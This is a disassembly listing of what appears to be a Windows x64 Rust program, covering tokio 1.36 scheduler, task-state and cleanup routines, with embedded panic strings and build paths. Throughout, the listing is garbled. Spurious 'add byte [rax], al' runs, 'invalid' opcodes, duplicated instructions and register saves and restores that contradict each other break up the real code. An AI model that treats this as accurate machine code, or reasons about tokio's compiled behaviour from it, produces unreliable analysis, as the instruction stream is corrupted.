jne 0x1400f05f0
movzx eax, byte [0x140182310]
add eax, 0x91d03
mov edx, 0x110
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400f072c
add byte [rax], al
add byte [rax], al
mov qword [rax], 1
mov qword [rax + 8], 1
movups xmmword [rax + 0x10], xmm7
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
or byte [rcx], al
add byte [rax], al
add byte [rdi], cl
adc dword [rax + 0x10], edi
mov qword [rax + 0x20], r15
mov ecx, dword [rsp + 0x2c]
sub al, 0x89
sub byte [rax - 0x77], cl
jo 0x1400f0674
sub al, 0x89
sub byte [rax - 0x77], cl
jo 0x1400f0674
mov qword [rax + 0x38], r13
xorps xmm0, xmm0
movups xmmword [rax + 0x40], xmm0
mov qword [rax + 0x50], 8
mov qword [rax + 0x50], 8
movups xmmword [rax + 0x58], xmm0
movups xmm1, xmmword [0x14014bb60]
movups xmmword [rax + 0x68], xmm1
movups xmm1, xmmword [0x14014bb70]
add esi, dword [rbp + 0x110f0005]
invalid
invalid
add esi, dword [rbp + 0x110f0005]
js 0x1400f0681
add byte [rdi], cl
adc dword [rax + 0x78], ecx
movups xmmword [rax + 0x88], xmm6
adc dword [rax + 0x88], esi
mov byte [rax], al
add byte [rax], al
mov qword [rax + 0x98], rbx
mov qword [rax + 0xa0], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
and byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rax + 0xb8], 0
mov dword [rax + 0xc0], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov byte [rax + 0xc4], 0
mov qword [rax + 0xc8], 0
mov dword [rax + 0xc8], 0
mov dword [rax + 0xc8], 0
mov qword [rax + 0xd0], r12
mov rcx, qword [rsp + 0x30]
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x30
mov qword [rax + 0xd8], rcx
mov qword [rax + 0xe0], rbp
mov qword [rax + 0xe8], r14
add byte [rax - 0x75], cl
and al, 0x38
add byte [rax - 0x77], cl
test al, 0xe0
add byte [rax], al
add byte [rcx + rcx*4 - 0x50], cl
call 0x1880f06d3
add byte [rax - 0x75], cl
and al, 0x38
add byte [rax - 0x75], cl
and al, 0x38
mov qword [rax + 0xf0], rcx
movups xmmword [rax + 0xf8], xmm0
mov qword [rax + 0x108], 0
add byte [rax], al
add byte [rax - 0x77], cl
cli
add byte [rax], al
add byte [rax - 0x77], cl
cli
movaps xmm6, xmmword [rsp + 0x40]
movaps xmm7, xmmword [rsp + 0x50]
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
ret
mov ecx, 8
or byte [rax], al
add byte [rax], al
mov edx, 0x40
call fcn.140107fe0
mov ecx, 8
mov edx, 0x18
add byte [rax], al
add al, ch
mov ah, 0x78
add dword [rax], eax
invalid
add byte [rax], al
add al, ch
mov ah, 0x78
add dword [rax], eax
invalid
add byte [rcx + 8], bh
mov ecx, 8
mov edx, 0x110
call fcn.140107fe0
add al, ch
movsd dword [rdi], dword [rsi]
js 0x1400f073b
add ah, cl
int3
int3
push rsp
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x1d8
sub esp, 0x1d8
sub esp, 0x1d8
movapd xmmword [rsp + 0x1c0], xmm13
movaps xmmword [rsp + 0x1c0], xmm13
movapd xmmword [rsp + 0x1b0], xmm12
movaps xmmword [rsp + 0x1b0], xmm4
movapd xmmword [rsp + 0x1a0], xmm11
movapd xmmword [rsp + 0x190], xmm10
add byte [rsi + 0x44], ah
movaps xmmword [rsp + 0x190], xmm2
movdqa xmmword [rsp + 0x180], xmm9
movaps xmmword [rsp + 0x170], xmm8
add byte [rax], al
add byte [rax], al
movapd xmmword [rsp + 0x160], xmm7
movaps xmmword [rsp + 0x160], xmm7
movapd xmmword [rsp + 0x150], xmm6
mov rbx, rcx
mov rax, qword [rcx]
jmp 0x1400f07ca
invalid
and cl, byte [rdi]
invalid
nop dword [rax + rax]
mov rcx, rax
and rcx, 0xfffffffffffffff8
or rcx, 1
mov edx, eax
ret 0xeac0
invalid
ret 0xeac0
and dl, 1
lock cmpxchg qword [rbx], rcx
je 0x1400f07f5
test al, 4
je 0x1400f24d1
test al, 3
je 0x1400f07b0
clc
invalid
cmpxchg dword [rbx], ecx
jne 0x1400f07ca
movzx eax, dl
lea rcx, [0x140178e40]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp dword [rbx + 0x28], 2
jne 0x1400f25b7
mov rdi, qword [rbx + 0x20]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400f0870
test eax, eax
jne 0x1400f09c6
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rsi, rbx
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
mov edx, eax
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0xffff3a6f
mov edx, eax
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0xffff3a6f
call fcn.1400d4a00
mov byte [rbx + 0x120], 1
mov rbx, rsi
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rax, qword [rcx + rax*8]
movups xmm8, xmmword [rax + 0xf0]
adc byte [rax + 0xf0], al
adc byte [rax + 0xf0], al
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
mov rax, qword [rbx + 0x30]
mov qword [rbx + 0x30], 0
test rax, rax
je 0x1400f25ef
invalid
add byte [rax], al
sbb eax, 0xd8b0000
pop rsp
sbb cl, byte [rcx]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
add byte [rax], al
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
add byte [rax], al
mov rcx, qword [rdx + rcx*8]
mov byte [rcx + 0x11c], 0
jmp 0x1400f09df
movaps xmm6, xmmword [rsp + 0x150]
movaps xmm7, xmmword [rsp + 0x160]
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0x160], bh
add byte [rax], al
add byte [rax], al
movaps xmm8, xmmword [rsp + 0x170]
movaps xmm9, xmmword [rsp + 0x180]
movaps xmm10, xmmword [rsp + 0x190]
add byte [rdi + rcx + 0x28], al
pushfq
and al, 0xa0
add dword [rax], eax
add byte [rdi + rcx + 0x28], al
movsb byte [rdi], byte [rsi]
and al, 0xb0
add dword [rax], eax
add byte [rdi + rcx + 0x28], al
sub byte [rsp + 0x1c0], ch
add byte [rdi + rcx + 0x28], al
pushfq
and al, 0xa0
add dword [rax], eax
add byte [rdi + rcx + 0x28], al
movsb byte [rdi], byte [rsi]
and al, 0xb0
add dword [rax], eax
add byte [rdi + rcx + 0x28], al
sub byte [rsp + 0x1c0], ch
invalid
invalid
invalid
sub byte [rsp + 0x1c0], ch
add rsp, 0x1d8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, rbx
movaps xmm6, xmmword [rsp + 0x150]
movaps xmm7, xmmword [rsp + 0x160]
movaps xmm8, xmmword [rsp + 0x170]
sub byte [rsp + 0x170], al
sub byte [rsp + 0x170], al
movaps xmm9, xmmword [rsp + 0x180]
movaps xmm10, xmmword [rsp + 0x190]
movaps xmm11, xmmword [rsp + 0x1a0]
pushfq
and al, 0xa0
add dword [rax], eax
add byte [rdi + rcx + 0x28], al
movsb byte [rdi], byte [rsi]
and al, 0xb0
add dword [rax], eax
add byte [rdi + rcx + 0x28], al
lodsb al, byte [rsi]
and al, 0xc0
add dword [rax], eax
add byte [rax - 0x7f], cl
invalid
fadd dword [rcx]
add byte [rax], al
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp 0x1400f2a20
pushfq
and al, 0xa0
add dword [rax], eax
add byte [rdi + rcx + 0x28], al
movsb byte [rdi], byte [rsi]
and al, 0xb0
add dword [rax], eax
add byte [rdi + rcx + 0x28], al
lodsb al, byte [rsi]
and al, 0xc0
add dword [rax], eax
add byte [rax - 0x7f], cl
invalid
lea rdi, [rbx + 0x20]
mov qword [rsp + 0x40], 4
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.1400f2ad0
mov rax, qword [rbx + 0x20]
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x58], rax
jmp 0x1400f23dc
mov rax, qword [rbx + 0x30]
mov qword [rbx + 0x30], 0
xorps xmm8, xmm8
test rax, rax
je 0x1400f25ef
mov qword [rsp + 0xa0], rax
xor esi, esi
xchg qword [rax + 0x20], rsi
test rsi, rsi
je 0x1400f0af0
mov r14, qword [rsp + 0xa0]
mov r15, qword [r14 + 0x10]
lock inc qword [r15]
jle 0x1400f25b5
mov qword [rsp + 0xf0], r15
mov qword [rsp + 0xe8], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400f0a74
test eax, eax
jne 0x1400f2720
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rdi + 0x120], 1
mov qword [rsp + 0xe0], rbx
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x11e], 2
jne 0x1400f2607
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
mov byte [rdi + 0x11e], 1
lea rcx, [r15 + 0x1d0]
call fcn.1400eb130
mov ebx, eax
mov ebp, edx
cmp dword [rdi + 0x110], 0
je 0x1400f0b14
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov edx, dword [rax + 0x118]
mov eax, dword [rax + 0x114]
jmp 0x1400f0b19
mov rax, qword [rsp + 0xa0]
lock dec qword [rax]
jne 0x1400f233f
lea rcx, [rsp + 0xa0]
call fcn.1400eb0d0
jmp 0x1400f233f
call fcn.1400e4110
mov ecx, dword [0x140182314]
mov r8, qword gs:[0x58]
mov rcx, qword [r8 + rcx*8]
mov dword [rcx + 0x110], 1
mov dword [rcx + 0x114], ebx
mov dword [rcx + 0x118], ebp
cmp qword [rcx + 0xd0], 0
jne 0x1400f263e
mov ecx, dword [0x140182314]
mov r8, qword gs:[0x58]
mov rcx, qword [r8 + rcx*8]
mov qword [rcx + 0xd0], 0xffffffffffffffff
lock inc qword [r15]
jle 0x1400f25b5
mov ecx, dword [0x140182314]
mov r8, qword gs:[0x58]
mov r9, qword [r8 + rcx*8]
mov rcx, qword [r9 + 0xd8]
mov r8, qword [r9 + 0xe0]
mov qword [r9 + 0xd8], 1
mov qword [r9 + 0xe0], r15
inc qword [r9 + 0xd0]
mov r9, qword [r9 + 0xe8]
cmp r9, 0xffffffffffffffff
je 0x1400f264a
inc r9
mov r10d, dword [0x140182314]
mov r11, qword gs:[0x58]
mov r10, qword [r11 + r10*8]
mov qword [r10 + 0xe8], r9
mov qword [rsp + 0xf8], rcx
mov qword [rsp + 0x100], r8
mov qword [rsp + 0x108], r9
mov dword [rsp + 0x110], eax
mov dword [rsp + 0x114], edx
mov qword [rsp + 0x48], r14
xorpd xmm0, xmm0
movupd xmmword [rsp + 0x50], xmm0
movupd xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], 8
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x40], 1
movzx eax, byte [r10 + 0x120]
test eax, eax
je 0x1400f0c7c
cmp eax, 1
jne 0x1400f2718
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0x108]
mov qword [rsp + 0xd8], rcx
lea rcx, [rsp + 0x40]
mov qword [rax + 0x108], rcx
jmp 0x1400f0cc4
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rdi + 0x120], 1
mov rax, qword [rdi + 0x108]
mov qword [rsp + 0xd8], rax
lea rax, [rsp + 0x40]
mov qword [rdi + 0x108], rax
mov rax, qword [r14 + 0x10]
movzx eax, byte [rax + 0x50]
xor al, 1
mov byte [rsi + 0x48], al
call fcn.1400dfa40
mov qword [rsi + 0x30], rax
mov dword [rsi + 0x38], edx
mov qword [rsi + 0x20], 0
cmp byte [rsi + 0x4a], 0
je 0x1400f1366
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x98], rax
mov r15, qword [rax + 0x10]
mov rax, qword [r15 + 0x80]
lea rcx, [rax + 1]
mov edx, dword [rsi + 0x10]
mov r8d, dword [rsi + 0x14]
mov r9d, edx
shl r9d, 0x11
xor r9d, edx
mov edx, r8d
shr edx, 0x10
xor edx, r8d
xor edx, r9d
shr r9d, 7
xor r9d, edx
mov dword [rsi + 0x10], r8d
mov dword [rsi + 0x14], r9d
add r9d, r8d
mov r12d, ecx
imul r12, r9
shr r12, 0x20
mov byte [r15 + 0x90], 1
lea r13, [r12 + rax]
inc r13
cmp r13, r12
jbe 0x1400f0e51
xor ebp, ebp
mov r14b, 1
jmp 0x1400f0d87
mov rdi, rcx
mov rcx, rbx
call fcn.14010af70
mov rcx, rdi
test rcx, rcx
je 0x1400f0e2c
mov rcx, qword [r15 + 0x68]
mov rax, qword [r15 + 0x80]
and rax, r12
lea rdx, [rax + rax*2]
lea rbx, [rcx + rdx*8]
xor eax, eax
lock cmpxchg byte [rcx + rdx*8], r14b
jne 0x1400f0e3a
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x1400f0e16
mov rax, qword [rcx + 0x10]
mov rax, qword [rax + 0x38]
mov rdx, qword [rcx + rax]
mov qword [rbx + 0x10], rdx
test rdx, rdx
je 0x1400f0df0
mov rax, qword [rdx + 0x10]
mov rax, qword [rax + 0x38]
mov qword [rdx + rax + 8], 0
mov rax, qword [rcx + 0x10]
mov rax, qword [rax + 0x38]
jmp 0x1400f0df8
mov qword [rbx + 8], 0
mov qword [rcx + rax], 0
mov rax, qword [rcx + 0x10]
mov rax, qword [rax + 0x38]
mov qword [rcx + rax + 8], 0
lock dec qword [r15 + 0x78]
mov al, 1
lock cmpxchg byte [rbx], bpl
jne 0x1400f0d64
test rcx, rcx
jne 0x1400f0d80
mov rcx, rbx
call fcn.14010b310
mov rcx, qword [rbx + 0x10]
test rcx, rcx
jne 0x1400f0db4
jmp 0x1400f0e16
mov rcx, qword [rsp + 0x98]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rcx + 0x18]
mov rdx, qword [rax + 0xa0]
cmp rcx, rdx
jae 0x1400f24b9
mov rax, qword [rsp + 0x48]
mov rbx, qword [rax + 0x10]
mov cl, 1
xor eax, eax
lock cmpxchg byte [rbx + 0xf8], cl
jne 0x1400f244a
mov rdi, qword [rbx + 0x110]
cmp rdi, qword [rbx + 0x100]
jne 0x1400f0ea8
lea rcx, [rbx + 0x100]
call fcn.1400e72a0
mov rax, qword [rbx + 0x108]
mov qword [rax + rdi*8], rsi
inc rdi
mov qword [rbx + 0x110], rdi
cmp rdi, qword [rbx + 0x60]
jne 0x1400f11c1
mov qword [rbx + 0x110], 0
test rdi, rdi
je 0x1400f10ae
mov r13, qword [rbx + 0x108]
lea rbp, [rdi*8]
add rbp, r13
lea rsi, [rbx + 0x118]
movabs r14, 0xffffffff00000000
jmp 0x1400f0f11
mov rax, qword [rbx + 0xa8]
test rax, rax
je 0x1400f11c1
xor ecx, ecx
mov al, 1
lock cmpxchg byte [rbx + 0xf8], cl
jne 0x1400f246f
cmp qword [rsp + 0x60], 0
jne 0x1400f1227
lea r12, [rsp + 0x48]
movdqa xmm9, xmmword [0x1401126d0]
movapd xmm10, xmmword [0x1401126e0]
movsd xmm6, qword [0x140112ab0]
movsd xmm11, qword [0x140112ab8]
movsd xmm12, qword [0x140112ac0]
movsd xmm13, qword [0x140112ac8]
jmp 0x1400f13da
mov eax, dword [rsi + 0x40]
inc eax
mov dword [rsi + 0x40], eax
mov r15, qword [rsp + 0x48]
mov rcx, qword [r15 + 0x10]
mov ecx, dword [rcx + 0x40]
test ecx, ecx
je 0x1400f2495
xor edx, edx
div ecx
test edx, edx
jne 0x1400f1559
mov rbx, qword [rsi + 0x20]
test rbx, rbx
je 0x1400f14d1
call fcn.1400dfa40
mov r9, qword [rsi + 0x30]
mov r8d, dword [rsi + 0x38]
mov qword [rsp + 0xa8], rax
mov dword [rsp + 0xb0], edx
lea rcx, [rsp + 0xa8]
mov rdx, r9
call fcn.1400d5e50
mov ecx, edx
mov edx, 0x3b9aca00
mul rdx
cmp ecx, 0x3b9aca00
mov r8d, 0
cmove ecx, r8d
cmove rdx, r8
cmove rax, r8
add rcx, rax
adc rdx, 0
mov qword [rsp + 0x140], rcx
mov qword [rsp + 0x148], rdx
lea rcx, [rsp + 0x140]
call fcn.140101b30
movapd xmm7, xmm0
movq xmm0, rbx
punpckldq xmm0, xmm9
subpd xmm0, xmm10
movapd xmm1, xmm0
unpckhpd xmm1, xmm0
addsd xmm1, xmm0
divsd xmm7, xmm1
movapd xmm0, xmm6
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movapd xmm1, xmm11
subsd xmm1, xmm0
mulsd xmm7, xmm1
movapd xmm0, xmm11
subsd xmm0, xmm1
mulsd xmm0, qword [rsi + 0x28]
addsd xmm0, xmm7
movsd qword [rsi + 0x28], xmm0
mov rcx, r12
mov rdx, rsi
xor r8d, r8d
call fcn.1400eb530
mov rsi, rax
mov rax, qword [rsp + 0x48]
mov r13, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov rdx, qword [r13 + 0xa0]
cmp rdx, rcx
jbe 0x1400f24ad
cmp byte [rsi + 0x4a], 0
jne 0x1400f1536
xor eax, eax
mov cl, 1
lock cmpxchg byte [r13 + 0xc0], cl
jne 0x1400f1f2f
cmp byte [rsi + 0x4b], 0
jne 0x1400f1540
mov ecx, dword [rsi + 0x44]
test ecx, ecx
je 0x1400f24a1
mov eax, dword [rsi + 0x40]
xor edx, edx
div ecx
test edx, edx
je 0x1400f1600
mov rdx, qword [rsi]
mov r8, qword [rsi + 0x18]
mov qword [rsi], 0
test rdx, rdx
jne 0x1400f1a10
mov rax, qword [r8 + 0x18]
mov rdx, rax
shr rdx, 0x20
mov dword [rsp + 0x38], edx
mov ecx, dword [r8 + 0x20]
cmp ecx, eax
jne 0x1400f17ca
mov r13, qword [r15 + 0x10]
cmp dword [r13 + 0x10], 0
je 0x1400f1611
mov eax, dword [r13 + 0x14]
jmp 0x1400f1647
movapd xmm0, xmm12
divsd xmm0, qword [rsi + 0x28]
xorpd xmm1, xmm1
maxsd xmm1, xmm0
movapd xmm0, xmm13
minsd xmm0, xmm1
cvttsd2si rax, xmm0
cmp eax, 0x7f
mov edx, 0x7f
cmovae eax, edx
cmp eax, 3
mov edx, 2
cmovb eax, edx
mov edx, eax
sub edx, ecx
neg edx
mov r8d, eax
sub r8d, ecx
cmovb r8d, edx
cmp r8d, 3
jb 0x1400f1660
mov rcx, r12
mov r8, rsi
call fcn.1400eba30
mov rsi, rax
test rax, rax
jne 0x1400f13d0
lea rdi, [rbx + 0x20]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400f2393
test eax, eax
jne 0x1400f23ae
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rsi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm8
mov qword [rsp + 0x40], 4
add byte [rax], al
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.1400f2ad0
xorpd xmm0, xmm0
movapd xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x60], rdi
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.1400f2ad0
mov rcx, rbx
movaps xmm6, xmmword [rsp + 0x150]
movaps xmm7, xmmword [rsp + 0x160]
movaps xmm8, xmmword [rsp + 0x170]
movaps xmm9, xmmword [rsp + 0x180]
movaps xmm10, xmmword [rsp + 0x190]
movaps xmm11, xmmword [rsp + 0x1a0]
movaps xmm12, xmmword [rsp + 0x1b0]
movaps xmm13, xmmword [rsp + 0x1c0]
add rsp, 0x1d8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp 0x1400f2c70
lea rcx, [rbx + 0xf8]
call fcn.14010b310
mov rdi, qword [rbx + 0x110]
cmp rdi, qword [rbx + 0x100]
je 0x1400f0e9c
jmp 0x1400f0ea8
add rbx, 0xf8
mov rcx, rbx
call fcn.14010af70
jmp 0x1400f11d3
call fcn.1401082d0
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadworker.rs
call fcn.140108840
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadworker.rs
call fcn.140108840
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadworker.rs
call fcn.1401082d0
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadworker.rs
call fcn.1401082d0
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadworker.rs
call fcn.1401084f0
lea rcx, str.assertion_failed:_next.is_notified__C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014ddc8]
mov edx, 0x24
call fcn.140108350
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014e128]
mov edx, 0x26
call fcn.140108350
mov qword [rsp + 0xa8], 0
lea r9, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadqueue.rs
lea rcx, [rsp + 0x3c]
lea rdx, [rsp + 0x38]
lea r8, [rsp + 0xa8]
call fcn.140111000
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014e060]
mov edx, 0x27
call fcn.140108350
mov qword [rsp + 0xa8], 0
lea r9, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadqueue.rs
lea rcx, [rsp + 0x38]
lea rdx, [rsp + 0x88]
lea r8, [rsp + 0xa8]
call fcn.140111000
mov qword [rsp + 0xa8], 0
lea r9, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadqueue.rs
lea rcx, [rsp + 0x38]
lea rdx, [rsp + 0x88]
lea r8, [rsp + 0xa8]
call fcn.140111000
lea rcx, str.park_missing
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadworker.rs
mov edx, 0xc
call fcn.1401086b0
ud2
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x40]
call fcn.140108280
lea rcx, str._internal_exception__blocking_task_ran_twice.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_blocking_task.rs
lea r8, [0x14014e518]
mov edx, 0x2d
call fcn.1401086b0
lea rax, str.Cannot_start_a_runtime_from_within_a_runtime._This_happens_because_a_function__like__block_on___attempted_to_block_the_current_thread_while_the_thread_is_being_used_to_drive_asynchronous_tasks.
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x50], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadworker.rs
lea rcx, [rsp + 0x40]
call fcn.140108280
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
call fcn.140108540
lea rax, str.reached_max__enter__depth
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x50], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
lea rcx, [rsp + 0x40]
call fcn.140108280
lea rcx, str.assertion_failed:_c.runtime.get__.is_entered__C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontext_runtime.rs
lea r8, [0x14014c6f8]
mov edx, 0x2e
call fcn.140108350
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulerdefer.rs
call fcn.1401085a0
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x88], rax
lea rax, [0x140013de0]
mov qword [rsp + 0x90], rax
lea rax, str.actual_
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0xb0], 1
mov qword [rsp + 0xc8], 0
lea rax, [rsp + 0x88]
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xc0], 1
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadqueue.rs
lea rcx, [rsp + 0xa8]
call fcn.140108280
mov rcx, rsi
call fcn.1400e45d0
lea rax, [0x14014bcf0]
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_c987ad527540e8f1565f57c31204bde33f63df76library_std_src_threadlocal.rs
lea r9, [0x14014b8e0]
lea r8, [rsp + 0x30]
mov edx, 0x46
call fcn.140108600
call fcn.140111a10
int3
or byte [rax - 0x75], r9b
and al, 0x30
mov qword [rsi + 0x18], rax
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r14
ret
call fcn.140108350
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014e060]
mov edx, 0x27
call fcn.140108350
int3
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
mov rax, qword [rcx + 0x28]
lea rdx, [rax - 2]
cmp rdx, 3
mov ecx, 1
cmovb rcx, rdx
cmp rcx, 1
je 0x1400f2a64
test rcx, rcx
jne 0x1400f2a9f
mov rax, qword [rsi + 0x30]
test rax, rax
je 0x1400f2a9f
lock dec qword [rax]
jne 0x1400f2a9f
lea rcx, [rsi + 0x30]
call fcn.1400eb0d0
jmp 0x1400f2a9f
test rax, rax
je 0x1400f2a9f
mov rdi, qword [rsi + 0x30]
test rdi, rdi
je 0x1400f2a9f
mov rbx, qword [rsi + 0x38]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400f2a9f
cmp qword [rbx + 0x10], 0x11
jb 0x1400f2a8d
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x58]
test rax, rax
je 0x1400f2aaf
mov rcx, qword [rsi + 0x60]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
push rsi
sub rsp, 0x80
mov rsi, rcx
mov rax, qword [rcx]
nop
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x1400f2c80
test al, 1
je 0x1400f2d0b
test al, 2
jne 0x1400f2d23
test al, 8
jne 0x1400f2cb7
lea rcx, [rsi + 0x20]
mov qword [rsp + 0x28], 4
lea rdx, [rsp + 0x28]
call fcn.1400f2ad0
jmp 0x1400f2ccf
test al, 0x10
je 0x1400f2ccf
mov rax, qword [rsi + 0x58]
test rax, rax
je 0x1400f2da7
mov rcx, qword [rsi + 0x60]
call qword [rax + 0x10]
mov qword [rsp + 0x20], 1
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x20]
jb 0x1400f2d3b
jne 0x1400f2d01
mov rcx, rsi
add rsp, 0x80
pop rsi
jmp 0x1400f2a20
nop
add rsp, 0x80
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x14014de48]
mov edx, 0x23
call fcn.140108350
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x14014de88]
mov edx, 0x25
call fcn.140108350
